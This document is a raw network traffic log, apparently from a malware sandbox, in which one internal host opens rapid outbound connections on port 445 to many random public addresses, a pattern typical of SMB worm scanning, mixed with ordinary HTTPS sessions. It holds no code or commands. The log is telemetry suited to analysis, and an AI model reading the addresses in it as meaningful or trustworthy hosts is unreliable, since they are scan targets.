Jul 20, 2022 06:06:17.212862968 CEST	50068	445	192.168.2.6	30.181.8.105
Jul 20, 2022 06:06:17.605851889 CEST	50070	445	192.168.2.6	82.250.1.22
Jul 20, 2022 06:06:17.746697903 CEST	50073	445	192.168.2.6	25.99.111.22
Jul 20, 2022 06:06:17.859586000 CEST	50076	445	192.168.2.6	106.120.141.197
Jul 20, 2022 06:06:17.924365044 CEST	50078	445	192.168.2.6	42.151.149.26
Jul 20, 2022 06:06:17.939519882 CEST	50079	445	192.168.2.6	168.168.197.39
Jul 20, 2022 06:06:17.940124035 CEST	50080	445	192.168.2.6	63.197.137.35
Jul 20, 2022 06:06:17.940675974 CEST	50081	445	192.168.2.6	169.226.77.107
Jul 20, 2022 06:06:17.941219091 CEST	50082	445	192.168.2.6	134.14.61.114
Jul 20, 2022 06:06:17.952965975 CEST	50083	445	192.168.2.6	164.135.247.235
Jul 20, 2022 06:06:18.152399063 CEST	50086	445	192.168.2.6	104.147.134.211
Jul 20, 2022 06:06:18.342349052 CEST	50089	445	192.168.2.6	23.201.110.3
Jul 20, 2022 06:06:18.731024981 CEST	50092	445	192.168.2.6	108.201.51.83
Jul 20, 2022 06:06:18.794807911 CEST	50094	445	192.168.2.6	221.105.160.229
Jul 20, 2022 06:06:18.853882074 CEST	50096	445	192.168.2.6	167.96.53.98
Jul 20, 2022 06:06:18.978836060 CEST	50099	445	192.168.2.6	78.100.135.70
Jul 20, 2022 06:06:19.025810957 CEST	50101	445	192.168.2.6	83.244.74.231
Jul 20, 2022 06:06:19.057210922 CEST	50103	445	192.168.2.6	36.5.228.69
Jul 20, 2022 06:06:19.057852030 CEST	50104	445	192.168.2.6	14.133.228.20
Jul 20, 2022 06:06:19.057869911 CEST	50105	445	192.168.2.6	121.168.114.30
Jul 20, 2022 06:06:19.072635889 CEST	50106	445	192.168.2.6	186.80.201.253
Jul 20, 2022 06:06:19.073301077 CEST	50107	445	192.168.2.6	149.230.208.27
Jul 20, 2022 06:06:19.275568008 CEST	50109	445	192.168.2.6	87.39.116.235
Jul 20, 2022 06:06:19.462977886 CEST	50113	445	192.168.2.6	173.116.217.254
Jul 20, 2022 06:06:19.856029034 CEST	50117	445	192.168.2.6	141.217.102.238
Jul 20, 2022 06:06:19.916326046 CEST	50119	445	192.168.2.6	41.7.80.194
Jul 20, 2022 06:06:19.964207888 CEST	50121	445	192.168.2.6	134.204.44.189
Jul 20, 2022 06:06:20.073690891 CEST	445	50121	134.204.44.189	192.168.2.6
Jul 20, 2022 06:06:20.090629101 CEST	50124	445	192.168.2.6	170.44.31.147
Jul 20, 2022 06:06:20.154027939 CEST	50126	445	192.168.2.6	183.232.91.139
Jul 20, 2022 06:06:20.166646004 CEST	50127	445	192.168.2.6	92.221.101.126
Jul 20, 2022 06:06:20.167417049 CEST	50128	445	192.168.2.6	52.232.143.239
Jul 20, 2022 06:06:20.168024063 CEST	50129	445	192.168.2.6	169.119.239.201
Jul 20, 2022 06:06:20.200046062 CEST	50130	445	192.168.2.6	194.88.33.151
Jul 20, 2022 06:06:20.200840950 CEST	50131	445	192.168.2.6	213.70.69.254
Jul 20, 2022 06:06:20.400803089 CEST	50134	445	192.168.2.6	144.40.115.64
Jul 20, 2022 06:06:20.588411093 CEST	50136	445	192.168.2.6	31.60.136.12
Jul 20, 2022 06:06:20.728156090 CEST	50121	445	192.168.2.6	134.204.44.189
Jul 20, 2022 06:06:20.809458971 CEST	50139	445	192.168.2.6	116.110.163.8
Jul 20, 2022 06:06:20.837501049 CEST	445	50121	134.204.44.189	192.168.2.6
Jul 20, 2022 06:06:21.007955074 CEST	50142	445	192.168.2.6	151.170.105.52
Jul 20, 2022 06:06:21.026335955 CEST	50144	445	192.168.2.6	20.238.205.136
Jul 20, 2022 06:06:21.104238033 CEST	50145	445	192.168.2.6	108.210.163.42
Jul 20, 2022 06:06:21.109855890 CEST	445	50139	116.110.163.8	192.168.2.6
Jul 20, 2022 06:06:21.217133045 CEST	50148	445	192.168.2.6	15.7.236.251
Jul 20, 2022 06:06:21.260580063 CEST	50150	445	192.168.2.6	75.243.119.65
Jul 20, 2022 06:06:21.292579889 CEST	50151	445	192.168.2.6	118.147.190.11
Jul 20, 2022 06:06:21.293431997 CEST	50152	445	192.168.2.6	118.41.191.10
Jul 20, 2022 06:06:21.294329882 CEST	50153	445	192.168.2.6	30.245.105.99
Jul 20, 2022 06:06:21.334327936 CEST	50154	445	192.168.2.6	55.166.99.229
Jul 20, 2022 06:06:21.335105896 CEST	50155	445	192.168.2.6	53.162.76.173
Jul 20, 2022 06:06:21.525852919 CEST	50158	445	192.168.2.6	83.250.8.2
Jul 20, 2022 06:06:21.706926107 CEST	50160	445	192.168.2.6	181.182.17.152
Jul 20, 2022 06:06:21.759448051 CEST	50139	445	192.168.2.6	116.110.163.8
Jul 20, 2022 06:06:22.040430069 CEST	50163	445	192.168.2.6	223.189.36.180
Jul 20, 2022 06:06:22.059909105 CEST	445	50139	116.110.163.8	192.168.2.6
Jul 20, 2022 06:06:22.519773960 CEST	50164	445	192.168.2.6	182.60.47.56
Jul 20, 2022 06:06:22.614773035 CEST	50166	445	192.168.2.6	30.44.161.138
Jul 20, 2022 06:06:22.615520000 CEST	50167	445	192.168.2.6	36.156.80.35
Jul 20, 2022 06:06:22.616259098 CEST	50168	445	192.168.2.6	190.90.186.142
Jul 20, 2022 06:06:22.616935968 CEST	50169	445	192.168.2.6	67.197.90.142
Jul 20, 2022 06:06:22.617652893 CEST	50170	445	192.168.2.6	168.14.81.68
Jul 20, 2022 06:06:22.618340969 CEST	50171	445	192.168.2.6	167.1.227.214
Jul 20, 2022 06:06:22.621835947 CEST	50172	445	192.168.2.6	167.46.23.125
Jul 20, 2022 06:06:22.622592926 CEST	50173	445	192.168.2.6	131.134.35.208
Jul 20, 2022 06:06:22.623332977 CEST	50174	445	192.168.2.6	135.158.226.49
Jul 20, 2022 06:06:22.636003971 CEST	50176	445	192.168.2.6	59.107.166.254
Jul 20, 2022 06:06:22.838517904 CEST	50178	445	192.168.2.6	63.110.60.110
Jul 20, 2022 06:06:22.840332985 CEST	49741	443	192.168.2.6	20.190.160.3
Jul 20, 2022 06:06:22.922293901 CEST	50180	445	192.168.2.6	191.139.245.22
Jul 20, 2022 06:06:23.048316002 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.048393011 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.048558950 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.050065994 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.050086021 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.158735037 CEST	50184	445	192.168.2.6	205.253.123.180
Jul 20, 2022 06:06:23.204804897 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.204967022 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.206376076 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.206485033 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.377437115 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.377463102 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.377845049 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.382374048 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.382420063 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.382452011 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.563257933 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.563292980 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.563334942 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.563397884 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:23.563497066 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:23.563529015 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.063961983 CEST	50188	445	192.168.2.6	74.49.130.230
Jul 20, 2022 06:06:24.064793110 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.064810991 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.064820051 CEST	50182	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.064826012 CEST	443	50182	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.170077085 CEST	50190	445	192.168.2.6	87.55.177.68
Jul 20, 2022 06:06:24.171096087 CEST	50191	445	192.168.2.6	204.113.122.20
Jul 20, 2022 06:06:24.172142029 CEST	50192	445	192.168.2.6	4.40.60.152
Jul 20, 2022 06:06:24.172651052 CEST	50193	445	192.168.2.6	101.3.33.180
Jul 20, 2022 06:06:24.173142910 CEST	50194	445	192.168.2.6	138.113.155.254
Jul 20, 2022 06:06:24.173631907 CEST	50195	445	192.168.2.6	2.9.149.50
Jul 20, 2022 06:06:24.174107075 CEST	50196	445	192.168.2.6	53.211.135.172
Jul 20, 2022 06:06:24.174622059 CEST	50197	445	192.168.2.6	172.193.169.230
Jul 20, 2022 06:06:24.175086975 CEST	50198	445	192.168.2.6	200.249.143.76
Jul 20, 2022 06:06:24.175591946 CEST	50199	445	192.168.2.6	121.239.146.22
Jul 20, 2022 06:06:24.176075935 CEST	50200	445	192.168.2.6	101.62.169.120
Jul 20, 2022 06:06:24.176549911 CEST	50201	445	192.168.2.6	180.87.38.121
Jul 20, 2022 06:06:24.285509109 CEST	50202	445	192.168.2.6	209.54.219.246
Jul 20, 2022 06:06:24.347589970 CEST	445	50201	180.87.38.121	192.168.2.6
Jul 20, 2022 06:06:24.372216940 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.372247934 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.372337103 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.373667002 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.373682976 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.415550947 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:24.415585041 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:24.415679932 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:24.417296886 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:24.417311907 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:24.516016006 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.520664930 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.520708084 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.521718025 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.521739006 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.521770954 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.521789074 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.553352118 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:24.553534031 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:24.554303885 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:24.554419994 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:24.691705942 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.691742897 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.691776037 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.691839933 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:24.691904068 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.691968918 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:24.868738890 CEST	50201	445	192.168.2.6	180.87.38.121
Jul 20, 2022 06:06:25.042468071 CEST	445	50201	180.87.38.121	192.168.2.6
Jul 20, 2022 06:06:25.650446892 CEST	50201	445	192.168.2.6	180.87.38.121
Jul 20, 2022 06:06:25.790455103 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.790479898 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.790839911 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.790839911 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:25.790875912 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:25.790890932 CEST	50205	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:25.790900946 CEST	443	50205	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:25.803807974 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.804682016 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.804807901 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.821547031 CEST	445	50201	180.87.38.121	192.168.2.6
Jul 20, 2022 06:06:25.941171885 CEST	50208	445	192.168.2.6	41.0.169.246
Jul 20, 2022 06:06:25.941693068 CEST	50209	445	192.168.2.6	40.234.190.192
Jul 20, 2022 06:06:25.942231894 CEST	50210	445	192.168.2.6	155.211.216.110
Jul 20, 2022 06:06:25.942743063 CEST	50211	445	192.168.2.6	185.136.189.213
Jul 20, 2022 06:06:25.943674088 CEST	50212	445	192.168.2.6	63.35.58.61
Jul 20, 2022 06:06:25.944188118 CEST	50213	445	192.168.2.6	103.170.147.66
Jul 20, 2022 06:06:25.944794893 CEST	50214	445	192.168.2.6	56.13.102.53
Jul 20, 2022 06:06:25.945302010 CEST	50215	445	192.168.2.6	137.132.212.8
Jul 20, 2022 06:06:25.945795059 CEST	50216	445	192.168.2.6	61.60.237.154
Jul 20, 2022 06:06:25.946294069 CEST	50217	445	192.168.2.6	209.253.24.45
Jul 20, 2022 06:06:25.946928978 CEST	50218	445	192.168.2.6	3.198.85.89
Jul 20, 2022 06:06:25.948241949 CEST	50219	445	192.168.2.6	122.20.22.2
Jul 20, 2022 06:06:25.950021982 CEST	50220	445	192.168.2.6	91.232.109.155
Jul 20, 2022 06:06:25.951560020 CEST	50221	445	192.168.2.6	192.1.236.78
Jul 20, 2022 06:06:25.970899105 CEST	50222	445	192.168.2.6	215.144.208.199
Jul 20, 2022 06:06:25.974082947 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.974122047 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.974155903 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.974199057 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.974215984 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.974239111 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.974240065 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.974298000 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.974503994 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.974519014 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:25.974531889 CEST	50206	443	192.168.2.6	40.126.31.70
Jul 20, 2022 06:06:25.974539995 CEST	443	50206	40.126.31.70	192.168.2.6
Jul 20, 2022 06:06:26.225552082 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.225596905 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.225681067 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.226052046 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.226079941 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.226181030 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.226839066 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.226864100 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.226933002 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.227060080 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.227077007 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.227195024 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.227206945 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.227319002 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.227334023 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.227942944 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.227967978 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.228044987 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.228307962 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.228323936 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.235665083 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.235718012 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.235805035 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.239583015 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.239622116 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.371891022 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.372958899 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.373203039 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.382045031 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.386665106 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.386692047 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.387094975 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.387118101 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.388170004 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.388187885 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.388271093 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.388281107 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.388297081 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.388302088 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.388465881 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.388509989 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.388643980 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.388699055 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.389044046 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.389058113 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.389945030 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.389950037 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.390008926 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.390017033 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.390064001 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.390080929 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.390125036 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.390145063 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.390196085 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.390691996 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.390721083 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.391933918 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.391948938 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.391976118 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.391987085 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.559619904 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.559654951 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.559719086 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.559750080 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.559822083 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.559849024 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.560050964 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.560067892 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.560097933 CEST	50223	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.560106039 CEST	443	50223	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.562755108 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.562788963 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.562844992 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.562864065 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.563019037 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.565041065 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565089941 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565139055 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565196991 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.565229893 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565252066 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.565258980 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565334082 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.565486908 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565530062 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565577030 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565629959 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.565665007 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565680027 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.565686941 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.565747023 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.566075087 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.566102982 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.566118956 CEST	50224	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.566133022 CEST	443	50224	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.569015026 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.569041014 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.569082022 CEST	50225	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.569098949 CEST	443	50225	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.572691917 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.572735071 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.572773933 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.572808027 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.572835922 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.572885990 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.577114105 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.577152967 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.577214003 CEST	50226	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.577230930 CEST	443	50226	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.585733891 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.585769892 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:26.585783958 CEST	50227	443	192.168.2.6	20.190.159.2
Jul 20, 2022 06:06:26.585793018 CEST	443	50227	20.190.159.2	192.168.2.6
Jul 20, 2022 06:06:27.107623100 CEST	50228	445	192.168.2.6	9.252.194.100
Jul 20, 2022 06:06:27.108386040 CEST	50229	445	192.168.2.6	58.102.225.137
Jul 20, 2022 06:06:27.109214067 CEST	50230	445	192.168.2.6	188.243.246.54
Jul 20, 2022 06:06:27.109967947 CEST	50231	445	192.168.2.6	55.102.22.33
Jul 20, 2022 06:06:27.110687017 CEST	50232	445	192.168.2.6	152.126.211.79
Jul 20, 2022 06:06:27.111430883 CEST	50233	445	192.168.2.6	201.105.163.186
Jul 20, 2022 06:06:27.112319946 CEST	50234	445	192.168.2.6	118.172.234.1
Jul 20, 2022 06:06:27.113348961 CEST	50235	445	192.168.2.6	101.58.70.59
Jul 20, 2022 06:06:27.114231110 CEST	50236	445	192.168.2.6	108.240.168.112
Jul 20, 2022 06:06:27.118357897 CEST	50237	445	192.168.2.6	139.85.16.222
Jul 20, 2022 06:06:27.201330900 CEST	50238	445	192.168.2.6	61.148.69.157
Jul 20, 2022 06:06:27.202162981 CEST	50239	445	192.168.2.6	68.179.185.179
Jul 20, 2022 06:06:27.202236891 CEST	50240	445	192.168.2.6	82.211.44.207
Jul 20, 2022 06:06:27.214802980 CEST	50242	445	192.168.2.6	153.135.221.120
Jul 20, 2022 06:06:27.214833975 CEST	50241	445	192.168.2.6	93.33.30.182
Jul 20, 2022 06:06:27.436624050 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.436649084 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.436738968 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.439609051 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.439631939 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.541662931 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.541857004 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.554394007 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.554410934 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.554853916 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.570653915 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.570760965 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.570776939 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.571635008 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.599793911 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.599895000 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.600002050 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.603400946 CEST	50243	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:27.603423119 CEST	443	50243	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:27.612447023 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.612472057 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.612618923 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.612833023 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.612864971 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.612932920 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.617779016 CEST	50244	443	192.168.2.6	204.79.197.200
